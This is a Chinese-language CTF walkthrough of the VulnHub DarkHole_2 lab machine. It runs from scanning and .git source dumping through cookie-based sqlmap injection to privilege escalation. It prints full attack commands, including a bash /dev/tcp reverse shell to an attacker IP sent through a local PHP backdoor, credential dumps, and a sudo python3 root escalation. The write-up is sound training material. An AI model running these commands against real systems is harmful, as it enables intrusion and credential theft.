VulnHub-DarkHole_2靶机实战

一、环境搭建

靶机下载

靶机下载地址:https://vulnhub.com/entry/darkhole-2,740/

image-20250205133035113

启动靶场

image-20250205133114811

二、信息收集

确定靶机地址

1
arp-scan -l

image-20250205133416585

端口扫描

1
nmap -v -A -sV -p- 192.168.147.133

经过扫描查看开放了22、80端口

image-20250205133539454

访问HTTP端口:80

image-20250205133654452

进行目录扫描,查看可以访问目录

可以看到,扫描到了.git文件,之后我们可以使用工具将代码还原

image-20250205134007414

指纹识别

image-20250205134116180

image-20250205134238309

三、Web渗透

利用.git还原代码

由于主界面是login,但是我们并没有用户名以及密码

image-20250205134403813

可以从其他地方进行突破.

/.git/:可以通过/.git/得到网页源代码

1
http://192.168.147.133/.git/

image-20250205134501739

使用Dump all下载git文件夹内所有文件

安装git-dumper

image-20250205140051032

使用git-dumper下载git文件夹内容

1
git-dumper http://192.168.147.133/.git/ 192.168.147.133 

image-20250205140018687

切换到192.168.147.133文件夹,查看日志

image-20250205140238450

出现了三次提交,还有哈希值,作者,时间等.

对比三次提交

git diff #获得当前目录上次提交和本地索引的差距,也就是你在什么地方修改了代码.

这里我们逐个查看:

image-20250205140416731

其中发现了账户邮箱以及密码

1
2
lush@admin.com
321

登录网页

进行登录测试

进到页面之后发现url有id=1的参数值,这里可以试一试SQL注入

image-20250205140620984

确定存在sql注入点

使用sqlmap直接梭哈

1
http://192.168.147.133/dashboard.php?id=1%27

image-20250205140733853

发现页面主进不去,尝试使用cookie注入

获取当前用户的Cookie: “F12”->”网络”->”200”->”消息头”->”请求头”->”Cookie”

image-20250205141417797

1
sqlmap -u "192.168.147.133/dashboard.php?id=1" --cookie PHPSESSID=cuk869g1jts78vt9h9pchvol66 --batch --current-db

image-20250205141536370

这里我们获取到了数据库名:darkhole_2

我们这里在获取他的表名

1
sqlmap -u "192.168.147.133/dashboard.php?id=1" --cookie PHPSESSID=cuk869g1jts78vt9h9pchvol66 --batch -D darkhole_2 --tables

image-20250205141652118

得到两个表: ssh / users

查看ssh表,用于我们后面进行ssh连接.

1
sqlmap -u "192.168.147.133/dashboard.php?id=1" --cookie PHPSESSID=cuk869g1jts78vt9h9pchvol66 --batch -D darkhole_2 -T ssh --dump-all

image-20250205141832121

知道ssh的用户名和密码之后,我们可以尝试ssh连接.

1
ssh jehad@192.168.147.133

image-20250205143512170

ssh登录成功。可直接进losy用户,第一个flag。

1
cd /home/jehad && cat user.txt

image-20250205144842480

四、提权

查看权限

1
id

image-20250205143740914

发现我们并不是0用户(root)

查看活动端口

image-20250205143952159

发现本地有9999端口的服务.

1
netstat -lntp

image-20250205144446984

查看一下本地服务的内容

1
curl "http://127.0.0.1:9999/?cmd=id"

image-20250205144113396

查看Crontab定时任务:**cat /etc/crontab,发现定时任务,执行/opt/web里面的PHP代码,并且监听9999端口**

image-20250205145149736

查看一下**/opt/web/index.php**的PHP代码,发现是一个PHP后门代码

image-20250205145233699

获取losy的权限

重新连接登陆 ssh,将本地端口 9999 端口与远程主机端口映射,访问本地端口转发到远程主机

1
ssh  jehad@192.168.147.133  -L  9999:localhost:9999

image-20250205144239488

反弹shell

记得我们查看过9999端口运行的程序,当我们看到源代码的内容时,我们看到这允许远程命令执行。而且这个脚本属于用户losy,然后我们就可以使用 SSH 隧道连接端口 9999,然后,访问 127.0.0.1:9999 进行 RCE。大概原理就是这样。

构造连接kali的命令:

1
bash   -c   ‘bash -i >& /dev/tcp/192.168.147.131/1234>&1’

使用URL 16进制编码:Url 编码/解码 - 在线工具 (toolhelper.cn)

1
curl "127.0.0.1:9999/?cmd=bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.147.131%2F1234%200%3E%261'"

image-20250205145652835

kali再开一个窗口进行监听:

1
nc -lvnp 1234

image-20250205145818501

在cmd处传入反弹Shell的参数,不过需要url编码一下,执行命令

image-20250205184245232

成功反弹Shell之后,搜索了一番之后,在losy的用户目录下的**.bash_history文件中发现了losy密码:gang**

image-20250205184500264

切换用户

SSH切换为losy用户:**su - losy,输入sudo -l**查看一下可以使用 **sudo** 命令执行的权限的命令

image-20250205184732242

发现python3可以用sudo,那就使用python3提权。

1
sudo python3 -c 'import os; os.system("/bin/bash")'

image-20250205185011390

成功拿到第二个flag

image-20250205185050157